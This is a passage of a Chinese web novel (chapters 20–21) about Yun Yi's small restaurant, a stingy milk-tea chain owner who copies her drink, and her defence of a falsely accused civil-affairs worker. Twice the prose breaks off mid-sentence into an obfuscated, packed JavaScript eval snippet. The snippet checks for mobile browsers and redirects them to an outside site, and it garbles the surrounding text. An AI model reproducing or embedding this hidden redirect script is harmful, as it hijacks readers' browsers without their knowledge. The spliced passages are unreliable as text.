“……哦,”李进从诱人的画面里回过神,“我想着你店里东西肯定很多,要搬一会儿,所以早点来。” “其实也……不算多?” 云漪带他走进厨房,二人合力把两台抽油烟机拆了下来。 李进把油烟机搬进面包车,又返回厨房,摸了摸干净锃亮的灶台:“买得挺贵吧?不过年头有点久了,可能开不了多高的价。” “……” 云漪慢慢掀起眼睑,用一种匪夷所思的目光望着他。 这时,店外传来小货车的倒车声。 “云老板在不在?”洪亮的声音吼了一嗓子,“我给你送东西来了!” 钱玉聪俩夫妻从货箱里搬出几十斤各种各样的肉。 李进啧啧摇头。 这肯定也是小姑娘之前下的订单,这下好了,店都要垮了还得处理这么多肉。 李进寻思她得先解决肉,于是拉开一张椅子坐下。他敲了敲椅面,倒是块好料子,便顺口提到:“我这儿不止回收电器哈,桌子椅子也都收。不过今天没办法,你得等我开个大货车来。” “……” 云漪再度默了默,正想开口。 钱玉聪翻了个白眼:“哪里来的老辈子这么不得了嘛,红苕稀饭涨多了吗?” 不等他发怒,钱玉聪夫妻扛出两台大型商用抽油烟机。 面对云漪,钱玉聪一转刚才的不屑,喜笑颜开:“我家年前本来想自己做餐饮,结果没搞起来,还是老老实实做养殖吧!喏,云老板你来验一验,这两台都还是新的呢!那天一看你朋友圈问商用油烟机,我就赶紧找你推销了!” 云漪当时就问钱玉聪要了商用油烟机的品牌,查找了规格和价格,都符合她的要求,于是立刻定下了。 几乎全新的油烟机还有折扣,这便宜不捡白不捡。 “以前的吸力太小了,现在不够用了。” “晓得晓得,规模做大了嘛!”钱玉聪一边往里搬,一边感叹,“原来你真是开饭馆的啊……我就说呢,一口气要四十斤肉,生意好得很哟!” “还行,能回本。” “跟我谦虚什么,我们是供应关系,你生意好我更开心撒!” 钱玉聪托着油烟机一端往里送,路过李进的时候蛮不耐烦:“大老板,挪一下脚杆啊,在这儿杵着还以为你要把我都给回收了哟。” 李进:“……” 虽然吹着冷气,但他的脸上如同火烧。 他居然想当然地以为云漪是找他变卖,还大言不惭地跟人砍价、说要回收其他东西…… 谁能想到,这云记只是换了个更大的油烟机啊?! 她不是一个年轻莽撞的大学生吗?! 20. 糯米鸭 李进脸上青一阵红一阵。 他火速把钱转给云漪,一手插口袋,指着蒸笼装作漫不经心:“老板,叶儿粑怎么卖,给我拿三个。” 云漪:“不好意思,做来自家吃的。” 说着,云漪就装上了六个,递给钱玉聪。 她感激微笑:“辛苦你们又送货又安装了,吃点东西吧。” 钱玉聪下意识就想拒绝。 可是这香喷喷的叶儿粑落到手里,她愣是怎么都说不出不字。 钱玉聪分给丈夫两个,自己撕开一块。 这是一块咸馅的,滚烫的热气冒了出来,内里的肉沫和冬菇鲜香扑鼻,油脂莹莹发亮。外层的米皮微甜,渗透了玉米叶的清香,甜咸结合非但不腻,反倒融合得恰到好处。 钱玉聪细细咀嚼,没忍住又掰了一块甜馅的。 她从小就不怎么爱吃叶儿粑,外面卖的叶儿粑大多米皮甜腻、馅料油腻,吃一个就再也塞不下去了。 可云漪做的叶儿粑,真的有叶子的草本味道。 钱玉聪忽然有些明白为什么云记每天需要用到四十斤肉了。 就这手艺,哪愁卖? 蒸笼里还剩14个叶儿粑,云漪想了想,转头问李进:“两块钱一个,你要么?” 反正都送给钱玉聪了,卖几个也无伤大雅。 听见云漪白送的时候,李进就有点后悔询问了。可他话都放出去了,现在要是又不要了,岂不是伤他大男人的自尊? 李进装作不在意,打肿脸充胖子:“给我装十个吧。” 云漪笑了笑,拎了一个口袋给他。 李进抓着口袋就上面包车扬长而去。 钱玉聪拍拍她的肩膀:“云老板,别管这些人,这种老东西就是觉得你年轻看不起你。” “叫我云漪就行,钱姐。”云漪眨眨眼,“没事的,别人的轻视又不会让我少块肉,反正他不会从我这里多赚到一分钱。” 反而还得倒给她钱。 钱玉聪愣了一秒,哈哈大笑。 是她低估这个小老板了,原本看她比自己女儿小不了几岁,钱玉聪还想着多照顾照顾她,现在看来倒是多虑了。 小老板精着呢。 - 午间,鸿宴酒楼。 李进换了一辆小轿车,穿得煞有介事,朝靠窗的座位走去。 大厅里吃饭的人不少,每桌都是五颜六色的菜肴,但李进却是没什么胃口。 一来,他是来谈生意的。 二来…… 早上从云记离开,李进才发现云漪给他的口袋里不仅有十个扎扎实实的叶儿粑,还有一小杯牛乳绿豆冰。 明明满是碳水和油脂的叶儿粑,偏偏香得不行,李进就着绿豆冰,愣是鬼使神差地在车里吃掉了大半!剩下的他也没扔掉,藏进办公室里的小冰箱,打算下午加餐吃。 牛乳绿豆冰他也是掀开盖子舔了个干干净净。 平时他一个连饮料都不怎么喝的人,今天倒是跟小孩儿见了奶茶似的,难怪开奶茶店的人赚得盆满钵满呢。 这不,今天要见的就是个卖奶茶的。 李进看清对方的脸,迎上去点头哈腰:“赵总,久仰大名久仰大名!” 赵权仍坐着,点了点头,继续喝茶。 李进在心底翻了个白眼,一边哂笑一边拉开椅子。 李进笑着说:“我可是听说了,赵总你都要开第四家分店了。” “嗐,小生意。” “你这话就谦虚了,今天开分店,明天保不齐就打垮什么喜茶一点点了。” 这话对赵权很是受用,他给李进也斟了一杯茶。 菜品一道道端上桌,赵权貌似不经意提起:“你那儿是不是收了一批奶茶店的机器?” “是啊,前段时间城西开垮了两家,我一早就看准了,第一个去联系的。” 提起这个,李进略有一丝欣慰。 大部分时间他的眼光还是准的嘛,栽在云漪这里纯属意外。 赵权夹起一筷子菜,吧唧着嘴:“怎么说,要不要考虑卖给我?” “这敢情好啊!”李进就差跳起来拍手称好了,今天请客的目的达到了。 “不过我买这么多,你肯定要给我折扣。” “那是那是,这个好说!” 李进从包里掏出纸笔,大致算了算,推了一张报价草稿过去:“赵总,你看看这个价怎么样?” 赵权扫了一眼,敲敲桌子:“李老板,你这是二手机器,又不是什么宝贝。” 李进扣扣手,又压了压利润。 没想到赵权还是不满意,索性直接比出一个数字。 李进的脸色瞬间僵硬。 他扯了扯嘴角:“赵总,这已经是我能给的最低价了,再往下我是真的要贴钱了。” “贴点钱怎么了?以后我分店越开越多,都来找你,你名气不也打出去了?你要是连这点远见都没有,我们确实不适合合作。” 李进暗暗跺了一脚,面上赔笑:“是是是,赵总说得对,是我眼界小了。” “你位置就没摆正。”赵权嘬着筷子,慢悠悠的,“你这批机器不卖,放着也是贬值。放个半年,你连我这个价都卖不到。” 李进“嗯嗯嗯”地奉承着。 “求着想跟我合作地二手商多得很,今天见你,是给你个机会。” 李进脸上地赔笑几乎要裂开,硬生生压住了。 他语气平淡:“赵总替我考虑,我心领了。” “客套话不用多说,识相的话就早点签,外面一堆人等着呢。对了,运输你那边包,保修也多给半年,我不放心。” 李进被赵权居高临下地看着,感觉自己在对方眼里就像是一块垃圾。 李进敷衍地应了声,夹起一筷糯米鸭塞进口中。 糯米鸭看起来规规矩矩,鸭皮、鸭肉和糯米切成方块,摞成一叠。鸭皮色泽偏淡,油光不多,已经有些软了,谈不上诱人。鸭肉被酱香浸透,没有多余的层次。糯米软归软,却湿嗒嗒的。 吃完一块,并不难吃,可咀嚼间味道很快就散了,压根记不住。 填饱肚子有余,但不足以让他停下筷子细品。 真要是比起来,这肉还没有云记叶儿粑里那点咸馅儿香。 李进灌了一大杯茶水:“这找的什么破店,又难吃又抠门,还不如云记。” 鸿宴是城北最负盛名的酒楼,再怎么也不会难吃到哪里去。 李进这么说,纯属是迁怒了。 他真是个蠢货,还以为能谈成一笔大生意。要是早去了解一下赵权是什么样的人,他才不花这冤枉钱请他吃鸿宴酒楼! 也是个开了四家分店的大老板了,还跟个村头无赖似的! 连云记那个看起来啥也不懂的丫头都比他会说话会做事,谈价格的时候知道让利共赢! 没想到,赵权倒是耳尖,往盘里啐了一口骨头渣子:“云记?我最近抄——总听见这个云记,是哪儿的店?” “长平路上一家小店。你别说,云记小归小,那些做大生意的还不一定比得上。” 赵权没听出来他的指桑骂槐,只是嗤笑一声。 他一脸嫌弃:“长平那个破地方能出啥好东西?李进,你也是当上老板的人了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987612|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,出去多见见世面。” 李进被他说得面红耳赤。 眼前这人不就是开了几家本土奶茶店么,凭什么这么颐指气使? 再说了,云记那一小杯牛乳绿豆冰保不齐比他那破奶茶店里卖的还好喝! 饭后,二人淡淡告别。 赵权回到店里,赵琪便问:“爸,谈好了吗?” “谈个屁,一个臭卖二手的以为自己是大老板,还跟我讨价还价。” “哦……”赵琪抿着唇,犹豫半晌,最终还是鼓起勇气,“爸,我觉得赵小茶的宣传还不够!” 赵琪把手机屏幕亮给他看,白玉油柑原视频的点赞量已经快突破五万。 而热度这么高的视频下面,竟然零零散散分布着不少云记的安利。 “我们抄都抄了,干脆就说赵小茶才是白玉油柑的原创!我这两天搜了,云记就是个没名气的小店,大众点评才2.3分,大家绝对会站赵小茶!” 赵琪一股脑吐了出来,因为激动,脸颊都憋得通红。 她静静站着,等待赵权的批阅。 意料之外的是,赵权竟然拍着肚子哈哈大笑起来,还捏了捏女儿的肩膀。 赵权合不拢嘴:“这才对,这才像我赵权的女儿,有胆识有魄力!你这个主意好,我马上叫人花点小钱去网上宣传一下!” 赵琪心里的石头落了下来,绽开一个如愿以偿的灿烂笑容。 从小到大,她成绩不好,也没什么才艺,永远都是在台下鼓掌的那一个,从来没有听爸爸称赞过她。 果然只要放开了手去做,她就能得到爸爸的认可! 这么多年了,她终于得到了一句夸奖。 - “云漪,我这辈子都不会再夸你了。” 云葵黑着一张脸,苦哈哈地吸着炝锅面:“我本来以为早上你只做了四个叶儿粑,结果你刚刚居然说,原本做了二十个,拿去卖了十个送了六个!” “四个啊!”云葵愤然捶桌,“那——么好吃的叶儿粑,你居然只舍得给我留四个!” 说完,云葵又呸呸呸地打自己嘴。 说好的不会再夸了,怎么嘴巴这么不听话。 云漪又往她碗里夹了一勺冷吃牛肉,笑眯眯的:“后来不是又给你做了个馅饼么?中午还有超豪华五荤炝锅面,还不够赔罪吗?” 正说说笑笑着,外国语附中的学生推开店门。 眼熟的学生似乎刚吐槽完什么事,一脸沮丧,点完菜便问:“老板,店里没有白玉油柑了吗?” 云漪倒上一杯牛乳绿豆冰,解释了一番。 学生唉声叹气:“目前喝过的白玉油柑里,还是你家的最好喝啊……” “姐妹,你喝过别家的吗?” “对啊,就那个赵小茶。”说着说着,她忍不住又吐槽了一遍,“一说就来气!周末我去商业街吃饭,看见赵小茶在卖白玉油柑,原料和云记分享得差不多,还更高大上。我寻思我妈还没喝过呢,就买了让她尝尝。结果淡得跟水一样,入口倒是挺甜的,但完全没有什么回甘,我妈还笑我口味清奇,喜欢这种怪味!” 说完,她咬牙切齿补充道:“好贵呢!要28块!” 她这话一出,别桌也有学生附和。 “我也在家附近看见了,还好没买!” “我也是,本来想买的,但我转念一想云老板都舍得免费供应的饮品应该不会很贵才对,就忍住了。” “老板,一人血书跪求白玉油柑返场!” “俩人血书!” “三人!虽然牛乳绿豆冰也很好,但抱歉,白月光只能有一个!” 21. 牛肉咔饼(入v通知) 贫嘴的话一句句往外冒,云漪抵挡不住,只能投降:“等下一茬油柑收成,我考虑一下重新上架。” 毕竟春华的生意刚有蒸蒸日上的苗头,她不想影响太多。 不过,最近油柑的价格一天比一天高,云漪恐怕不能再肆无忌惮地免费供应了。 云漪也将她的考量坦诚相待。 没想到,这群小食客倒是一点都不介意。 “这有啥,人家饭店里不都卖一扎扎的果汁,你也卖!” “我们又不是冲着免费来的,是因为好喝,永远拥护老板!” “是啊,老板你就算卖30块一杯我也——算了,还是别那么贵吧呜呜呜!” 云漪想了想,的确可行。 起初上架白玉油柑只是吸引顾客的一个小小手段,现在她也有一批较为稳定的客人了,改变一下策略未尝不可,还能增加一个盈利点。 开店嘛,总是要懂得变通的。 正巧春华下午来送菜,她装了几个牛肉咔饼给春华,缠着问了好一会儿。 春华的心情似乎很好,一边捶腿一边说:“一一啊,恐怕没法给你留余甘子了。之前有个大老板说要包我山头的果子,等这一茬收了就要签合同了。” “那太好了呀!” 这还是春华第一次签长期供应呢! 原本没人要的果子突然被人包了,还开出了可观的价格,放在以前,她们想都不敢想! 看来,白玉油柑复刻版得往后搁置了。 云漪给春华倒了杯温水,好奇问:“大老板是做什么的呀,要这么多。” “不晓得嘛,菜贩子不肯说,但我听他打电话,好像是卖什么饮料的。” 饮料? 最近巧合的事情也太多了吧,她的视频刚火就有奶茶店上新白玉油柑,本地的菜贩子也突然收起了油柑。 春华口中的饮料应该……不会是赵小茶吧? 毕竟他家标榜自家用的是海省优质油柑和爱妃苹果,怎么会和本地果农合作呢。 春华歇了脚,扶着膝盖缓缓起身:“好了,我先回去了,不耽误你们。” 刚走没两步,春华就打了个趔趄。 云漪连忙扶住她,捏着她的腿问:“姥姥,你这毛病多久了?” “就这两天,不碍事的。” 大概是因为卖油柑的事,春华每天天不亮就上山看果子,爬上爬下的伤了腿。 云漪叹气,把云记暂时交给云葵看顾。 她骑着三轮带春华去了最近的一家医院,经过一番检查,好在只是骨质疏松,云漪在本子上记了满满一页的补钙方法。 她搀着春华回到筒子楼,刚走到巷口,就听见一阵争吵。 “年纪轻轻的干啥子不好,对这么小的娃娃下手?!” “大爷您真的误会了,我只是问他几个问题……” “误会个锤子!我亲眼看着你把我孙子牵走,还想给他吃糖,谁知道里面有没有迷药!” 云漪和春华对视一眼。 那好像是隔壁张大爷和他孙子涛涛。 这对祖孙一向不是省油的灯,张大爷的儿子就是罗富的狐朋狗友之一,因此他也总瞧不上云漪一家。 云漪并不想插手,在末世摸爬滚打十年,她学会的第一条真理就是——不要多管闲事。 “来人啊,哎哟喂我的命咋这么苦啊,孙儿差点被人拐跑了啊……你今天必须道歉,还要赔偿精神损失费!” “大爷您讲点道理啊!我工作证也给您看了,没理由骗您啊!” “办个假证多简单,我儿三天就能办下来!问你为啥来这儿你也说不出,涛涛,去把你爸他们喊来,今天必须让坏人付出代价!” 转眼间,巷口就围了好几个老年人,对着一个年轻人指指点点、污言秽语。 云漪:“……” 她扶着春华在石凳上坐下,迈腿就要冲,又被春华拉住手。 春华做出一个嫌恶的鬼脸。 云漪大致解读了一下,意思是“不要放过那个臭老头”^^ 云漪如获重任似的点点头。 她横在张大爷面前,笑眯眯的:“今天打牌输了?” “哟,罗富大丫头,你咋晓得?” “打牌输了钱,所以要靠讹人赚回来?”云漪语气平和,“还有,别把我和罗富扯上关系,谁都像你好大儿似的愿意热脸贴那种人的冷屁股。” 张大爷气急:“你……!” 说完,云漪转头,看向扎高马尾戴眼镜的女生,她已经满头大汗,不知是热的还是急的。 云漪问她:“怎么回事?” 终于有一个能说得通话的人,女生一股脑把工作证和笔记本全掏出来,塞进她手里。 她磕磕绊绊解释:“我来这边是做社会调研的,只是想找一些老人小孩了解情况,真的不是坏人!” 云漪翻开工作证,是民政局的工作人员,名叫于晓婧。 她打开手机浏览器,的确搜索到了于晓婧的录用信息,笔记本里也都是这一整天的问询结果。 云漪把东西还给她,拉到自己身后。 她低头,对着肥嘟嘟的小男孩问:“张泽涛,这姐姐刚才是要带你走吗?” “她让我去旁边的凳子上坐着,要问我几个问题,还给我糖——”涛涛还没说完,张大爷就在他手臂内侧拧了一圈,疼得他哇哇大哭,瞬间改口,“是、是要带我走!她是人贩子!” 于晓婧连忙抓住云漪的手臂,无助摇头。 云漪安抚似的拍拍她,拨出一个号码。 张大爷冷哼:“你还打电话,叫帮手啊?” “不,”云漪微笑,“我报警。” “行啊,报警,看警察把不把她抓起来!” 云漪一脸皮笑肉不笑:“你刚才说你儿子□□只需要三天,不知道是他给别人办,还是他自己办呢?没记错的话,他今年刚开了个小公司吧,让警察查一查也好。” 一听这话,张大爷立马清醒了。 他连忙按住云漪的手,眼神不自然地上下飘移:“算我误会她,行了吧!” “不行。” “……” “不知道做错事要道歉?” 于晓婧听了,抓她抓得更紧了些,用眼神传达“算了算了”。 可云漪没理会,依然坚持。 人的道德标准在坏人面前应该超级加倍,而不是大赦天下般降低。 张大爷被云漪唬得一愣一愣的,梗着脖子大喊:“晓得了!对不起!” 云漪的目光又慢慢落到涛涛脸上。 老的固然坏种,但小的也不能放过。 涛涛还没从刚才疼哭的冲击里缓过来,这下又被云漪吓哭了,一把鼻涕一把泪地抽抽:“对、对不起……我再也不馋陌生人的糖了……呜呜呜……” 事毕,云漪带于晓婧离开了这个是非之地。 于晓婧仰头,灵魂出窍般放空。 她才是真的应该哭的那一个。 这是她第一次被安排和上级一起出任务,要是连社会调研这点小事都做不好,回去指不定要受一顿惩罚。 于晓婧握住云漪的手,一个劲地鞠躬:“谢谢谢谢!我从来没见过这种场面,要没有你,我真不知道该怎么办了!” “小事。”云漪指了指她的笔记本,“我看你去了好几个老小区,但是没有记录很多条信息。” 一说到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997309|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个于晓婧就沮丧。 她举家都是外地来德市定居的,虽然会说方言但听不大懂地道德市话。长平是高龄社区,会说普通话的不多,今天光是交流就很费劲。 接到这个任务的时候,她也没想到会这样艰难。 云漪想了想,坐在春华身边:“姥姥,要不然你把王奶奶她们都叫出来,让这个姐姐问点问题。” 春华种菜一流,社区里很多老人都喜欢找她学习经验。 再加上春华本性善良,一来二去的,人缘也可以说是榜上有名了。而和她相熟的,大多都是性情温和的老人,不似张大爷那般无赖。 春华点点头,几通电话就叫了十三个人来。 于晓婧:“……” 人情社会啊,人情社会。 有云漪和春华的帮助,于晓婧很快就收集够了这个小区的信息。 云漪听她的问题,倒像是未来要改建这一片,但毕竟是人家的工作内容,便也没有多问。 于晓婧给每位老人送了一瓶矿泉水,扶着她们离开,自己也口干舌燥地灌了一瓶。 忽然间,她的肚子咕咕叫了一声。 于晓婧:“……” 春华慈爱地笑了笑,从保温袋里分出两个牛肉咔饼。 这饼是云漪抽空揉的,想着午后随便垫垫肚子,夹的馅儿也是蛋烘糕剩下的。 春华把袋子塞进她手里:“这是我孙女自己做的,有点凉了,你别介意。” “怎么会!这太不好意思了,又让你们帮忙又拿你们吃的……” 云漪眨眨眼:“没事,为人民服务嘛。” 这时,于晓婧接了一通电话,很快一辆普通的黑色轿车就在街边停下。 晓婧跑过来,晓婧跑过去。 她一会儿跑到车前对着摇下的窗口叽里咕噜半天,还不忘指指云漪;一会儿跑回云漪面前,蹦蹦跳跳,喜不自胜。 “老大不仅没骂我,还夸我收集的信息有用!真的太感谢你了,你何止是为人民服务,你简直就是我的人民英雌!” 云漪笑着摆摆手:“你去忙吧,我要扶姥姥回家休息啦。” 于晓婧大力朝她挥挥手。 坐上车,于晓婧急不可耐地从保温袋里挤出一个饼。 司机忍不住逗她:“刚刚才差点被人讹,现在又开始随便信任陌生人的吃食了?” 于晓婧态度坚决:“她不一样!” “是咔饼吧,给料还挺足的。” “这不就是普通的肉夹馍吗?” “‘咔’是德市话‘夹’的意思,肉夹馍……你这么理解也没问题。”随着咔饼暴露时间越长,司机的心思都跟着嗅觉一起跑偏了,连连催她,“小于你快点吃,这也太香了。” 于晓婧嗷呜咬下一大口。 这和肉夹馍,可完全不一样。 面食凉了以后,失了热气大多会变得硬邦邦,这个咔饼却不会。饼皮厚实,却暄软得像是一朵蓬松的云,疏松多孔,残留的热气藏在孔洞里,激发着夹馅的香气。 里面夹的是普普通通的粉蒸牛肉,鲜嫩的肉条裹着香辣的米粉,时不时冒出一小口花椒的酥麻。小块蜜薯已经被蒸成了粉糯的口感,拌匀后填满了每一寸缝隙,添了一丝甜味。 粉蒸牛肉渗出的油汁浸润了一侧饼皮,一口下去在齿间爆开。 这饼凉着吃都这样香,要是等在蒸锅边上出一笼吃一笼的话……得多幸福啊! 于晓婧在心里盘算着,等这项工作告一段落,她要好好感谢一下这位路见不平拔刀相助的好心人,再找她讨讨手艺。 可直到这时,于晓婧才意识到一个严肃的问题—— 她是不是,连人家的名字都忘记问了?